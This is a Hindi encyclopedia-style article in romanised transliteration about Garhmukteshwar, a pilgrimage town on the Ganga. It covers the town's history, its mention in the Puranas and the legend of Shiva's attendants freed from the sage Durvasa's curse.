itihas

ganga ke tat par sthit gadhamukteshvar prasiddh tirth hai, jo kartik snan ke mele ke lie door-door tak prasiddh hai. skandapuran mean is tirth ka vistrit varnan hai. isaka prachin nam 'shivaballabhapur' kaha gaya hai. pauranik katha hai ki is sthan par mahadev ke gan durvasa ke shap se mukt hue the aur isi karan ise 'mukteshvar' kaha jata hai. puranoan ki ek any katha ke anusar, rajayakshma se pi dit chandr ne yahian tap karake rogamukti prapt ki thi. yah bhi akhyayika hai ki maharaj nrig giragit ki yoni se yahaan mukt hue the, jisaka smarak 'nrigakoop' ya 'nakka kuvaan' aj bhi gadhamukteshvar mean hai.

yah to nishchit hi hai ke prachin kal se hi gadhamukteshvar mean sadhu-santoan ka nivas raha hai. aitihasik kal mean bhi yah tirthan mahatvapoorn raha hai. kaha jata hai ki barbar shasakoan ko bharat ki sima ke pare khade d kar samrath vikramadity (chandragupt dvitiy) ne yahian ganga tat par shaanti prapt ki thi. maharaj bhoj paramar bhi gadhamukteshvar ae the. 11vian shati mean mahamood gajani ne is tirth par akraman kiya. mugal samrajy ke aantim kal mean marathoan ke utkarsh ke samay gadhamukteshvar mean hiandoo dharm ka punaruddhar hua. marathoan (siandhiya) ne yahaan ek durg ka nirman bhi kiya, jise 'siandhiya durg' kahate the. isake khandahar ab bhi haian. sanbhavatah isi durg ke karan is sthan ko gadhamukteshvar kaha jane laga.

yahaan ke pandoan ki purani bahiyoan se soochit hota hai ki 17vian shati mean alavar ka navab jivan khaan apane putr sahit yahaan aya karata tha aur ganga snan karake brahmanoan ko dan deta tha. ab se prayah do sau varsh poorv sthaniy ganga mandir ko jhajjhar ke navab ke ek hindoo mantri ne banavaya tha. isaka ullekh jhajjhar ke navab ki vasiyat mean kiya gaya hai.

pauranik mahattv

bhagavat puran v mahabharat ke anusar yah kuru ki rajadhani hastinapur ka bhag tha. aj paryatakoan ko yahaan ki aitihasikata aur adhyatmikata ke sath-sath prakritik khoobasoorati bhi khoob lubhati hai. mukteshvar shiv ka ek mandir aur prachin shivaliang karakhandeshvar yahian par sthit hai. kashi, prayag, ayodhya adi tirthoan ki tarah 'gadhamukteshvar' bhi puran ullikhit tirth hai. shivapuran ke anusar 'gadhamukteshvar' ka prachin nam 'shivavallabh' (shiv ka priy) hai, kintu yahaan bhagavan muktishvar (shiv) ke darshan karane se abhishapt shivaganoan ki pishach yoni se mukti huee thi, isalie is tirth ka nam 'gadhamuktishvar' (ganoan ki mukti karane vale eeshvar) vikhyat ho gaya. puran mean bhi ullekh hai-

'gananaan muktidanen ganamuktishvar: smrit:.'

katha

shivaganoan ki shapamukti ki sankshipt katha is prakar hai- prachin samay ki bat hai krodhamoorti maharshi durvasa mandarachal parvat ki gupha mean tapasya kar rahe the. bhagavan shankar ke gan ghoomate hue vahaan pahuanch gaye. ganoan ne tapasyarat maharshi ka kuchh upahas kar diya. usase kupit hokar durvasa ne ganoan ko pishach hone ka shap de diya. kathor shap ko sunate hi shivagan vyakul hokar maharshi ke charanoan par gir p de aur prarthana karane lage. unaki prarthana se prasann hokar durvasa ne unase kaha - he shivagano! tum hastinapur ke nikat khandav van mean sthit 'shivavallabh' kshetr mean jakar tapasya karo to tum bhagavan ashutosh ki kripa se pishach yoni se mukt ho jaoge. pishach bane shivaganoan ne shivavallabh kshetr mean akar kartik poornima tak tapasya ki. unaki tapasya se prasann hokar bhagavan shiv ne kartik poornima ke din unhean darshan die aur pishach yoni se mukt kar diya. tab se shivavallabh kshetr ka nam 'ganamuktishvar' p d gaya. bad mean 'ganamuktishvar' ka apabhransh 'gadhamukteshvar' ho gaya. ganamuktishvar ka prachin aitihasik mandir aj bhi is katha ka sakshi hai.
